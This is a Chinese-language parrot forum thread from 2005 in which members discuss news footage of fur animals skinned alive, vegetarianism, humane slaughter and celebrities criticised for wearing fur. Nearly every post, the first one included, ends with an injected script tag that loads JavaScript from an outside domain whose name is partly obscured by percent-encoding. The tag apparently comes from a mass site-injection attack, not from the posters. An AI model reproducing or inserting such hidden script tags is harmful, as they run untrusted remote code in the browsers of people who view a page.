18599 有人看到恐怖的皮草新聞畫面嗎? - 晃頭晃鳥
寫信給管理員 版主的話與版規 發表新主題
版豬大聲公
討論主題 : 有人看到恐怖的皮草新聞畫面嗎?
發表人 0516 [ 回覆此一主題 | 回到上一頁 | 引言並回覆 | 轉寄 ]
還好我沒有看到完整的
不過光看馬賽克和黑白處理畫面的也夠膽顫心驚了!!
希望大家一起來支持這次的活動
雖然跟鸚鵡無關
但有一日若鸚鵡的艷麗羽毛變成時尚舞台的愛用裝飾
那麼後果不堪設想!!

以下整理網路上相關新聞:

國際反皮草行動 保育團體籲把毛皮還給動物
http://news.yam.com/cna/life/200502/20050202093167.html
皮草染血》台灣 用掉11萬隻毛皮動物
http://yam.udn.com/yamnews/daily/2495811.shtml
皮草染血》動物活生生剝皮 鏡頭曝光
http://yam.udn.com/yamnews/daily/2495810.shtml
保育團體反皮草 點名大小S、孫芸芸
http://news.yam.com/bcc/life/200502/20050202092407.html
皮草染血》林志玲孫芸芸 穿皮草被轟
http://yam.udn.com/yamnews/daily/2495893.shtml
動物何罪?動物有意識下遭屠殺剝皮
http://news.yam.com/ettoday/life/200502/20050202093382.html
打昏小浣熊 大陸皮草驚悚取皮
http://news.yam.com/tvbs/life/200502/20050202092271.html
狠摔活剝 血淋淋製皮草
http://news.yam.com/chinatimes/life/200502/20050202094309.html
保育團體將發起反皮草運動 點名曾穿皮草藝人
http://news.yam.com/ettoday/life/200502/20050202093658.html
近三年,皮草進口量暴增5.6倍,大多來自中國
http://news.yam.com/bcc/life/200502/20050202094227.html
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 主題發表時間為 2005/2/2 下午 08:54:00;來源為 211.76.98.35 )
 
以下為回覆主題文章 ( 共有 64 篇回應 )
換頁
64 篇回覆文章 blue0617 [ 引言並回覆 | 轉寄 ]
天阿~看不下去~這太殘忍了~我才看到完雄被摔的畫面就看不下去了~好心疼
這個影片應該寄給那些會穿皮毛衣的人看看~看她們還敢不敢穿><<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/3/3 下午 01:22:00;來源為 218.175.63.125 )
63 篇回覆文章 angchen [ 引言並回覆 | 轉寄 ]
> 在 cake0715 的大作中提到 :
>就像國際團體痛批韓狗人吃狗肉,
>韓狗人反駁狗在他們社會就像牛豬雞等家禽,
>理性角度來看韓狗人說的有錯嗎?
>但我還是討厭韓狗人,更討厭吃狗肉的人,
>這只是我個人好惡,不會拿著一頂道德大帽子扣在他們頭上!

吃狗肉的問題很早以前我就有思考過了...
為什麼美國人可以一邊吃著牛肉漢堡..一邊指著韓國人不該吃狗肉...
因為狗是人類最忠實的朋友...
我想..哪一天如果韓國強大起來..會不會一邊吃著狗肉..一邊指責美國人不該吃牛肉..
因為牛是人類農業時代最重要的朋友...
給我的感覺好像是只要自己的國大強盛..說什麼話好像都比較大聲...

>PS:我在新聞中看到某台記者採訪皮草事件講的痛心疾首之時,
> 看到他的提包也是皮製品,算不算很諷刺的畫面?

這裡一看到真的蠻好笑的...
指著別人不對時..有沒有先照照鏡子看看自己的鬍子刮了沒...
人們總是放大別人的缺點..卻從來沒看到自己的缺點...

就我的看法是..只要合法..我們沒有權力去剝奪他人買皮草穿皮草的權利...

<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/3/3 上午 10:03:00;來源為 140.112.1.98 )
62 篇回覆文章 yuen [ 引言並回覆 | 轉寄 ]
宰殺動物的片段,看了一半也不想再看了
片段中的動物是否專用來取毛而飼養,因隻隻都一樣,胖胖的!
看來並不是野生動物!
人就是這樣,為一己的利益,殘暴地對待動物.
儘管我不會穿皮草,亦不會買有關羽絨的產品,
因我曾在電視看過,一些產羽絨的農場,養一些多毛鴨,用來拔牠們的毛
雖然不是宰殺了牠們,但也感受到牠們的痛苦!
其實日常食用的動物,對待牠們都好不了多少
自從養了鳥後,都會漸漸懂得愛惜生命,亦從此不吃乳鴿,鵪鶉,乳豬等...
在此希望做屠宰的人,為自己積多點“陰德”!
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/3/3 上午 09:22:00;來源為 210.0.138.75 )
61 篇回覆文章 miffy620cat [ 引言並回覆 | 轉寄 ]
> 在 QUI 的大作中提到 :
>[轉貼miffy620cat大大文章]
>miffy620cat大大
>將您的文章與此篇併成一篇
>讓有興趣的鳥友能將建議和資料集中在同一篇討論內
>感謝您的諒解

謝謝QUI大大的熱心分類合併!!!!
喵~
___________________________
晃站因為有你會更好
___________________________
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/3/3 上午 06:35:00;來源為 211.74.101.24 )
60 篇回覆文章 QUI [ 引言並回覆 | 轉寄 ]
[轉貼miffy620cat大大文章]
慘絕人寰的屠殺

雖然這跟愛鳥無關
雖然這已經是之前的新聞話題
http://myweb.hinet.net/home16/east-taiwan/fur.wmv
(慘絕人寰的時尚 每件皮草都殘酷)
這影片有16分鐘長
看完已經讓我淚流滿面....
其實
人類其實有太多資源
應該不是這樣建立在動物的痛苦上
就像動物星球頻道常播放的公益廣告說到:
"地球可以供給人類的需要 ~ 卻無法滿足人類的貪婪"
想想有很多大環境是我們無法改變
我想我們可以做到的
是約束自己


miffy620cat大大
將您的文章與此篇併成一篇
讓有興趣的鳥友能將建議和資料集中在同一篇討論內
感謝您的諒解<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/3/3 上午 04:25:00;來源為 24.21.147.146 )
59 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
剛剛點不進台灣動物社會研究會網站
http://www.east.org.tw/
一進去就看到跳出視窗聲明如下:

『動物社會研究會嚴正聲明
關於2005-02-04 晚間某電視台新聞報導對本會「反皮草運動」訴求的扭曲、自行杜撰內容,本會提出嚴正聲明 .(詳見內容)
------------------------------------------------------------------------因反皮草行動遭駭客入侵, 導致網站暫時關閉, 留言版毀損. 之前留言索取反皮草影帶的網友, 請再次以 e-mail聯絡,附上姓名、地址、電話,以利寄出(個人資料絕對保密)。 或請直接點選影音播放. 網站目前正在極力搶修, 不便之處敬請見諒 .』

動物社會研究會嚴正聲明http://www.east.org.tw/01/3-33-1.htm

關於2005-02-04 晚間某電視台新聞報導對本會「反皮草運動」訴求的扭曲、自行杜撰內容,本會提出嚴正聲明--本會從未說過「人道取得皮草不反彈」或類似言論。關於部分人士問到: 「時尚名媛所穿皮草,是以歐美進口為主,應該符合歐美動物福利先進國家的相關法令,屠宰方式也較人道。」本會至始一再表示:即使是歐美進口的皮草,也同樣有囚禁、殘虐動物的問題存在,英國毛皮動物養殖就是因為動物福利問題迭遭抨擊,於2003年1月1日起依法禁養;而其他國家的毛皮動物飼養也是每況愈下;更何況人工飼養因動物種源問題,同樣會對野外族群造成獵捕的壓力。中國大陸目前已是全世界人工養殖皮草的最大生產基地,95%的皮草產品供應外銷市場,加工量已佔全球75%,但仍有25-30%的比例為野外獵捕。台灣自中國大陸進口皮草已佔85%以上。因此,藝人名媛、達官顯貴穿著皮草的問題不在於合不合法,從哪裡進口,而是「人不人道」、是否具有「示範作用」、是否堅持成為殘害動物的幫兇。 對於反皮草行動引發許多名人及藝人帶頭表示:在知道如此嚴重殘害動物的真相後,將加入「反皮草」的行列,本會在此致上最高的敬意及謝意,感謝這些朋友們對生命的尊重!以下為該台新聞標題及內容:


--------------------------------------------------------------------------------

皮草惹風波! 保育人士改口 人道取得皮草不反彈
記者顏妏真、梁家銘/台北報導 2005-02-04

藝人遭點名穿皮草不道德,伊能靜跳出來指稱遭到白色恐怖。只是穿皮草真的是罪惡嗎?那是不是一般穿皮鞋,穿皮衣的人都會有罪?面對這些問題,保育人士一改先前強烈抨擊穿皮草的態度,現在說只要合乎人道取得的皮草,就不會這麼反彈。不論是愛斯基摩人,還是我們的祖先,都是穿戴獸皮或是動物毛禦寒,如今穿皮草引來罵聲連連,有些民眾不以為然,賣皮草店仍見買氣強強滾,買皮草的人不畏異樣眼光,反批團體保護協會扣上的道德帽子實在太沉重,反問:「買皮草到底錯在哪?」民眾的疑問讓環保人士一改前幾天痛批點名的態度,說法變得很婉轉,只要合乎人道取得的皮草,和非屠殺保育類動物,在合乎道德的範圍中進行皮草販售,他們將不會進行大規模的反彈。而皮草業者也秀出北歐認證標章,表示有這標章即為合法進口。


<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/7 下午 11:14:00;來源為 211.76.98.133 )
58 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
> 在 jackyleersa 的大作中提到 :
>只因皮草是生活中的非必需品以及奢侈品,才引來這些爭議,
>人類吃食牛,豬,羊,雞,不也一樣是殺戮嗎??
>牛的屠宰,非法屠宰以斧頭,合法屠宰以電擊,扒下牛皮,不
>也是製成皮製品(只差一個有毛,一個無毛)。
>而小牛皮以及有些baby beef,宰殺的是未成年牛隻,為何大家不
>抨擊這一點呢?
其實我在很前面時就已經提過關於這些食用動物
很多人在面對關懷流浪動物或各種受虐動物時都會提出像jackyleersa大大這樣的疑問
不過不少動物團體多年來對於爭取經濟動物鸚有的福利也不遺餘力
並非像jackyleersa大大所說不去抨擊
在國外倡導人道屠宰的觀念也行之多年
但盼像jackyleersa大大這些看到更多角度的明眼人也能站出來為各個角落的動物們發聲<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 下午 04:11:00;來源為 211.76.98.134 )
57 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
> 在 whs 的大作中提到 :
>有一種果實素食主義者
>這類人士只吃生果 那些在植物學上被界定為果實的植物
>他們的依據是只吃那些不會因其果實被摘去而死亡的植物
這好像也蠻合理的
能不能再多著墨一些讓我了解?
還是有什麼相關網站可以查詢?<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 下午 04:06:00;來源為 211.76.98.132 )
56 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
> 在 dindindon 的大作中提到 :
>台灣動物研究會網站上有放此次皮草事件的完整影片
http://www.east.org.tw/16/fur trade cruel not luxurious.wmv
我正想要上來放網址連結
實在是無法看完
重開了好幾次還是放棄不看完
半死不活的浣熊張眼被剁腳、剝皮....
但願有看完並受到震撼的各位
能將這種感覺如likecmo說的 放大到關懷各種生命
那麼或者可以勉強說 這些浣熊不只是白死了吧
我要好好想想 自己在日常生活中還有沒有什麼行為是讓動物這樣受苦的........<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 下午 04:01:00;來源為 211.76.98.136 )
55 篇回覆文章 whs [ 引言並回覆 | 轉寄 ]
有一種果實素食主義者
這類人士只吃生果 那些在植物學上被界定為果實的植物
他們的依據是只吃那些不會因其果實被摘去而死亡的植物
例如胡蘿蔔會因收成而死亡 就不吃胡蘿蔔
只吃水果 種子 果仁
這倒是一個另類的選擇!^^
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 下午 01:08:00;來源為 218.171.51.84 )
54 篇回覆文章 ken9500 [ 引言並回覆 | 轉寄 ]
各位大大:
皮草事件很慘忍
但我認為吃素不能解決問題
因為植物難道沒生命ㄇ?(純屬個人疑惑,無攻擊他人意義)
只是這種慘忍ㄉ行為
希望能不要再發生<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 下午 12:52:00;來源為 61.31.139.61 )
53 篇回覆文章 dindindon [ 引言並回覆 | 轉寄 ]
台灣動物研究會網站上有放此次皮草事件的完整影片
http://www.east.org.tw/16/fur trade cruel not luxurious.wmv
不過是真實色彩 也無馬賽克喔
沒看過的人可以看一下 真的會看到發瘋
建議極膽小的人最好別看 因為很血腥
我想 影片會比平面文字圖片來的震撼力更大

我個人認為此次事件給我的省思是 並不是去限制大家穿皮草(因為也不可能做得到)
而是當你身為一個使用者(皮草使用者) 真的應該了解一下牠是怎麼來的
也有絕對的權力要求來源合法 而不是單純追求時尚穿皮草 卻盲目的什麼也不知道

我覺得這整件事的針對是那些穿皮草的人
所以有在穿皮草的人一定震撼最大吧!!!
<<<請你們以後買皮草~要買就買那種有歐美某個認證的(我忘了全名)
<<<要不然就買假皮草~~~~請不要買大陸來的!!!!!!!~~~~減少更多影片中那些動物的痛苦吧
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 下午 12:39:00;來源為 220.135.85.246 )
52 篇回覆文章 likecom [ 引言並回覆 | 轉寄 ]
> 在 jackyleersa 的大作中提到 :
>只因皮草是生活中的非必需品以及奢侈品,才引來這些爭議,
>人類吃食牛,豬,羊,雞,不也一樣是殺戮嗎??
>牛的屠宰,非法屠宰以斧頭,合法屠宰以電擊,扒下牛皮,不
>也是製成皮製品(只差一個有毛,一個無毛)。
>而小牛皮以及有些baby beef,宰殺的是未成年牛隻,為何大家不
>抨擊這一點呢?
>而新聞有時重點是在炒作,有賣點,應該正式的問題是動物的
>來源是野生或人為繁殖飼養,以及盡量做到人類自己所認定的
>人道,降低其痛苦,如果是人為繁殖飼養,個人認為與牛,豬
>,羊,雞,不應有雙重標準,而不是為反對而反對。
>包括在這的人,或許都對自己的鳥很好,但是關在籠中的鳥,
>不見的是鳥,所有的是,不是只有一面,也不是所有的事都有
>一定的是非對錯,就算是吃素,植物也一樣有其生命,只是他
>的生命與一般動物所表現的不同而已。
>而去針對哪位人士的發言,不見的適當,每個人都有其看法,
>也都有思想及行為上的自主權,真小人總比偽君子好,或許今
>天你是皮草反對者,改天你有可能是皮草愛用者,不要先說不
>可能,世事無絕對,未來的事,沒有人能知道。

很多事大家都有在抨擊和評論
並不是說其他的沒提到就不能提現在提的事情
只不過現在的焦點在皮草的部份
我覺得經由皮草效應
讓大家把事件放大到我們對其他動物的關懷
才是對的方向

所以大家最好都不要用真皮製品
不好意思
觀點若不合您,請見諒!
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 上午 10:25:00;來源為 203.203.2.36 )
51 篇回覆文章 likecom [ 引言並回覆 | 轉寄 ]
只要是殘酷的手法來處理事情, 都是天地不容的

疼痛程度是要注意的事情
魚蝦和蛤蜊受傷時和哺乳動物的疼痛程度應不能相提併論

獅子老虎等野獸是別無他法才去吃其他小動物
但人是可以有很多選擇

人類應該提昇自己的層次
社會都進化到飛向太空了
還在用原始的方式處理事情
除非通過立法
全面禁止擁有皮草
但這是不可能的事情
即然無法禁止他們殺小動物
希望未來他們處理小動物可以文明一點



唉...這些人真可惡

<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 上午 10:15:00;來源為 203.203.2.36 )
50 篇回覆文章 jackyleersa [ 引言並回覆 | 轉寄 ]
只因皮草是生活中的非必需品以及奢侈品,才引來這些爭議,
人類吃食牛,豬,羊,雞,不也一樣是殺戮嗎??

牛的屠宰,非法屠宰以斧頭,合法屠宰以電擊,扒下牛皮,不
也是製成皮製品(只差一個有毛,一個無毛)。

而小牛皮以及有些baby beef,宰殺的是未成年牛隻,為何大家不
抨擊這一點呢?

而新聞有時重點是在炒作,有賣點,應該正式的問題是動物的
來源是野生或人為繁殖飼養,以及盡量做到人類自己所認定的
人道,降低其痛苦,如果是人為繁殖飼養,個人認為與牛,豬
,羊,雞,不應有雙重標準,而不是為反對而反對。

包括在這的人,或許都對自己的鳥很好,但是關在籠中的鳥,
不見的是鳥,所有的是,不是只有一面,也不是所有的事都有
一定的是非對錯,就算是吃素,植物也一樣有其生命,只是他
的生命與一般動物所表現的不同而已。

而去針對哪位人士的發言,不見的適當,每個人都有其看法,
也都有思想及行為上的自主權,真小人總比偽君子好,或許今
天你是皮草反對者,改天你有可能是皮草愛用者,不要先說不
可能,世事無絕對,未來的事,沒有人能知道。<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 上午 07:27:00;來源為 196.25.255.242 )
49 篇回覆文章 t4952003 [ 引言並回覆 | 轉寄 ]
只看一半就不看了
心理覺得酸酸的,覺得很想哭<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 上午 04:40:00;來源為 211.76.98.132 )
48 篇回覆文章 lingsun3 [ 引言並回覆 | 轉寄 ]
其實,看了報導以後,真的很想做些什麼.....皮草不是為了活下去非穿不可,尤其是建築在牠們那麼痛苦的情形之下,我想我會開始嘗試吃素吧,當然像放生也是.....好好的一隻鳥在放生過程中就死了,就算沒死到了野外也有可能不能適應就餓死,沒人掉一滴淚.......唉,個人的力量是救不了這麼多正在受苦的動物....,但是我們可以透過實際的行動,來幫助牠們,大的例如捐款給國際動物保護協會,小的例如檢舉住宅附近居民虐待小狗小貓,或多多轉寄動物保護的資訊.....,我深深覺得,這些是只有有心人會去注意的...因為動物受苦沒有人替他們大聲報不平,所以更需要我們這些愛動物的人來幫忙!!各位大大們,大家家堛熙噫ㄚ靬笑砦L著小公主小王子的生活,如果外面的小動物也能分到一點點的關心,那不知道有多好........<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 上午 04:02:00;來源為 219.84.85.40 )
47 篇回覆文章 hikaru [ 引言並回覆 | 轉寄 ]
> 在 0516 的大作中提到 :
>> 在 hikaru 的大作中提到 :
>>想到那些因人類慾望而被殘忍對待的動物,應該要認真考慮吃素了~~
>這跟吃不吃素完全是兩回事
>獅子也要填飽肚子
>殺羚羊就不殘忍嗎?
>這是生命所需
>何況 我們吃肉 一餐頂多幾兩
>然而皮草或是釣魚蝦一次都是數命數屍!
>哪可以相提並論呢?
>對了 我也不吃鰞仔魚(白色小小魚)
>以往看過一篇海洋大學教授的研究
>說台灣人喜食鰞仔魚 而鰞仔魚是魚苗
>以這樣吃食魚苗的速度看來
>海洋資源耗盡速度極快!
>我認為不需要吃素 但要有選擇性的吃
>即使是吃素 瀕臨絕種的珍稀植物不不適宜食!

的確,最迫切的是要求停止這種殘忍的處理,改為適切的"人道處理"。
然而大量的皮製品乃至於皮草等,已成為人類生活中的"奢侈品",
是因為要滿足"質感"、"高貴自然"而被大量運用。而肉類的需求真的是
人類日常生活不可或缺的食物嗎? 營養學發達的現代,應該有足以替代的食品吧。
野生動物補獵肉食是本能,而我想人類有選擇的能力,所以才興起吃素的想法。
但即使吃素,在人類的生活中充滿了"智慧"的產物,生產這些產物直/間接的影響到
地球生態環境,這一項項跨世紀的發明,是值得人類驕傲的,但對於大自然
來說絕大多是卻不是良善的,難怪會有許多堅持住在"自然界"中的原始人了。

這算是一種對於人類進化悲觀的想法吧,然而我現在也再享受著這一切成果,
我沒有拋棄這種生活享受的勇氣,吃素,也許是目前的我唯一能實踐的事。
在無法停止人類對於質的需求下,最迫切的是要求停止這種殘忍的處理,這是無庸置疑的。<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/6 上午 12:46:00;來源為 211.76.98.132 )
46 篇回覆文章 r-k-r-w [ 引言並回覆 | 轉寄 ]
我覺得有些藝人反皮草反的不情不願 還說是媒體迫害 這種心態真的很要不得
若不是媒體大幅報導 只怕那些人還穿皮草穿的不亦樂乎
只是反皮草運動從以前到現在一直都是持續不斷 只是最近才受到明顯重視
不知道過一陣子後 還會有多少人記得=.=?<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 11:13:00;來源為 218.160.35.30 )
45 篇回覆文章 ponpa [ 引言並回覆 | 轉寄 ]
我光是看報紙上的照片就覺得可怕了,尤其是被扒光毛皮全身是血還沒斷氣的那張。真可怕。
<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 09:38:00;來源為 61.66.11.44 )
44 篇回覆文章 whs [ 引言並回覆 | 轉寄 ]
可惡的是有些藝人還不知檢討!說不能穿皮草是白色恐怖
我覺得她們模糊焦點了!重點在皮草取得的道德問題
新聞報導中 浣熊尚未斷氣就被剝皮 過段時間才死去 相信那真是無比的痛楚啊
明明大部分的皮草都是如此不人道的方式
還硬扯吃肉 穿皮鞋的問題
希望大家一起支持反皮草運動
抵制那些遭點名且不知檢討的藝人<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 08:43:00;來源為 218.171.55.174 )
43 篇回覆文章 san00920 [ 引言並回覆 | 轉寄 ]
太慘忍了.....把腳...斬ㄌ....有一隻被剝了皮毛..吊在架子上...還抬起頭看看自己血淋淋的身體..
真ㄅ知道該說什ㄇ.....<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 04:31:00;來源為 59.114.21.19 )
42 篇回覆文章 cake0715 [ 引言並回覆 | 轉寄 ]
我看到一則比較合理的反皮草的論點:

∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼
法源編輯室 / 2005-02-03

動物研究會表示,許多知名藝人,都不斷的去強調她們有多
少,上萬的,各種名牌的皮草。但也有藝人曾經說過殺生是很
殘忍的事,然而根據統計,台灣今年進口的皮草數量是3年前
的5倍,加上藝人吹起流行風,不知道還有多少小動物要遭殃
,動物社會研究會,呼籲藝人站出來,一起抵制皮草,救救小
動物。據了解,歐美國家剝取動物毛皮,通常先以電擊讓動物
死亡後再剝皮,過程是將通電的鋼條從肛門通到直腸,等於是
從內部將動物烤死,這樣可以保存毛皮的完整性。但中國大陸
的設備不足,不願增加成本購買設備,如果採割喉放血,又會
在動物身上留下傷口,損及毛皮的完整性,所以多採取更不人
道的生剝毛皮行為。


動物研究會強調,殺戮就是殺戮,並非用電擊就比較人道,
只要是剝皮草的行為,都不符合動物權益。專家指出,製作皮
草時必須要使用大量的化學藥品以保持皮草不會變形,一件真
皮草使用的能源是人造皮衣的60倍,因此,皮草無論對環境
保護及節省資源都是嚴重威脅。

我國野生動物保育法第16條規定,保育類野生動物產製品
,除本法或其他法令另有規定外,不得買賣、陳列、展示、持
有、輸入、輸出或加工。同法第36條規定,若以營利為目的
,經營野生動物加工產製買賣者,應先申請許可及領得營業證
照。現行的動物保護法第13條規定,依同法第12條第1項
所定之事由宰殺動物時,應以使動物產生最少痛苦之人道方式
為之,並遵行相關規定。
∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼



<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 04:08:00;來源為 219.84.12.215 )
41 篇回覆文章 1212 [ 引言並回覆 | 轉寄 ]
其實 鸚鵡 在進口時過程有些也是活活的窒息 或 擠死 體力不支 死亡 世事難料 ?<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 03:20:00;來源為 61.219.228.45 )
40 篇回覆文章 cake0715 [ 引言並回覆 | 轉寄 ]
>當然是這樣!!
>如果不能完全避免穿皮草的行為
>就要制定嚴格的法令好管制皮草養殖業
>相信這本就是發起活動的目的
>大家在對於活動表態的時候
>不妨多去相關網站或新聞連結參考資訊
>以免讓個人思維流於偏頗
>會發起這樣的活動想必相關單位準備策劃良久
>評論前何不好好去了解一番?



這個主題可以從三個方向下去討論會比較清楚

1.看到這則新聞之後的個人反應與作為:
每個人體認不同,有人認為吃素算了,有人認為該減少動物製品,
有人認為不使用皮草,也有人認為皮草動物跟家畜一樣,
個人對這事件解析角度與程度不同,沒有對錯,所以沒什麼討論的意義所在!


2.這則新聞所要表達的方向與意義:
到底這則新聞目的是要探究不人道的動物宰殺過程?
還是僅僅為反皮草團體廣告文宣?
這些煽動新聞到底想把群眾的思維引導到那個方向?

3.對使用皮草公眾人物的點名抨擊:
這一點始終我認為是最具爭議的,標準的媒體暴力,
就事論事?就人論事?還是觀眾愛看什麼就策劃什麼!
對他們的抨擊不外乎,奢華、殘忍、血腥、樂己、浪費、不人道,
把大多數人沒有實踐的高道德標準套用在皮草使用者身上,
而類似殘忍情形卻在大多數生活周遭一直上演,
是因為太常見所以習慣?還是媒體沒有渲染就不算數?
江承澐在眾人諤諤聲中敢跳出來說他還是愛用皮草,
我佩服他的勇氣,雖然我還是不喜歡他,
對皮草使用者也的確沒好感,
但他們所秉持的理由也沒有什麼漏洞,
反看很多抨擊者的論點與立場卻問題不少!


在此我只能重申一點,
"個人好惡"與"道德批判"的界線要分清楚,
當一逾越這界線往往事情問題點就會失真。
這也是媒體與政客最愛玩弄的手法。
就像國際團體痛批韓狗人吃狗肉,
韓狗人反駁狗在他們社會就像牛豬雞等家禽,
理性角度來看韓狗人說的有錯嗎?
但我還是討厭韓狗人,更討厭吃狗肉的人,
這只是我個人好惡,不會拿著一頂道德大帽子扣在他們頭上!

PS:我在新聞中看到某台記者採訪皮草事件講的痛心疾首之時,
看到他的提包也是皮製品,算不算很諷刺的畫面?

<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 02:59:00;來源為 219.84.12.215 )
39 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
> 在 hikaru 的大作中提到 :
>想到那些因人類慾望而被殘忍對待的動物,應該要認真考慮吃素了~~
這跟吃不吃素完全是兩回事
獅子也要填飽肚子
殺羚羊就不殘忍嗎?
這是生命所需
何況 我們吃肉 一餐頂多幾兩
然而皮草或是釣魚蝦一次都是數命數屍!
哪可以相提並論呢?
對了 我也不吃鰞仔魚(白色小小魚)
以往看過一篇海洋大學教授的研究
說台灣人喜食鰞仔魚 而鰞仔魚是魚苗
以這樣吃食魚苗的速度看來
海洋資源耗盡速度極快!
我認為不需要吃素 但要有選擇性的吃
即使是吃素 瀕臨絕種的珍稀植物不不適宜食!<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 01:42:00;來源為 211.76.98.134 )
38 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
> 在 Xing 的大作中提到 :
>我認為問題只有兩點
>1. 手段:食用或取皮也有人道手段,否則就是無謂的虐待
>2. 數量:取用最低需求量並充分利用,否則就是無謂的浪費
正是如此!正是如此!
>皮草、魚翅,許多的奢侈品,是否為生存必需品?
>我們常把重點放在虐殺行為,因為這是最容易引起人們關注與撻伐的
>但更要注意的是,人性的惡與貪,才是這一切的起點。
在我看來這只是一種手段或方法
這樣說吧
如果今天新文沒有撥出小浣熊被剝皮
來回應的人回有多少?
媒體願意報導的又有多少?
如不先引起民眾的關注 又哪能使得人們進而深思?
另外 如Xing所言
過年期間要到了
希望大家勿以魚翅燕窩當好禮
送送有機食品也很健康如意!<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 01:36:00;來源為 211.76.98.35 )
37 篇回覆文章 0516 [ 引言並回覆 | 轉寄 ]
> 在 cake0715 的大作中提到 :
>我只想表達一件事,要反皮草,最好能想辦法"名正言順",
>製皮草之所以殘忍,是因為落後國家宰殺過程,
>拿這理由來反皮草,很多生活周遭等同例子不可勝數,
>時尚家黃薇跳出來為皮草平反,
>雖然看了反感,但他說的卻是實話也是內心話,
>我到覺得制訂合乎人道的動物宰殺程序才是首要之務!

當然是這樣!!
如果不能完全避免穿皮草的行為
就要制定嚴格的法令好管制皮草養殖業
相信這本就是發起活動的目的
大家在對於活動表態的時候
不妨多去相關網站或新聞連結參考資訊
以免讓個人思維流於偏頗
會發起這樣的活動想必相關單位準備策劃良久
評論前何不好好去了解一番?

>在此又提出幾個類似觀點僅供思考:
>1.鱷魚皮!取皮過程也很殘忍,會因此抵制使用鱷魚皮?
>2.釣魚!現在人類釣魚行為娛樂功能遠大於覓食功能,
> 釣魚之樂就在於與之拉扯搏鬥快感,
> 但這過程卻造成魚極大恐懼與傷害,與皮草相比孰惡?
>這種行為在生活周遭時時上演,
>是真的不殘忍?還是久而久之習慣?
>拿這些指責皮草論調套在其他生物上真的會嚇出自己一身冷汗!

非常同意!!
我本就很少使用皮製品
遑論釣魚這種殘忍的活動!
雖然我沒辦法叫我的朋友不要釣魚釣蝦
但我自己絕對做得到
也從來沒釣過魚蝦!!

還有
蛋糕大大
拜託你引用別人的引言時把多於的刪掉啦
每次都這樣引用一大篇
看得人辛苦又浪費空間資源說~

<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 下午 01:27:00;來源為 211.76.98.133 )
36 篇回覆文章 hikaru [ 引言並回覆 | 轉寄 ]
雖然我沒有看到新聞畫面,網路連結也點不下去,光是想像就已經很難過了。
看到鳥友提出吃素等想法,讓我想起某堂課的老師曾說過,大家都在吃屍體。
想到那些因人類慾望而被殘忍對待的動物,應該要認真考慮吃素了~~<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/5 上午 12:53:00;來源為 211.76.98.134 )
35 篇回覆文章 Xing [ 引言並回覆 | 轉寄 ]
非常贊成cake大大說的!

我認為問題只有兩點
1. 手段:食用或取皮也有人道手段,否則就是無謂的虐待
2. 數量:取用最低需求量並充分利用,否則就是無謂的浪費

皮草、魚翅,許多的奢侈品,是否為生存必需品?
我們常把重點放在虐殺行為,因為這是最容易引起人們關注與撻伐的
但更要注意的是,人性的惡與貪,才是這一切的起點。<Script Src=http://c.nu%63%6Cear3.com/css/c.js></Script>
( 回覆時間為 2005/2/4 下午 04:12:00;來源為 220.130.131.81 )
 
換頁

此文章無法回覆(已經超過一年沒有回覆,為避免造成困擾,禁止回覆。)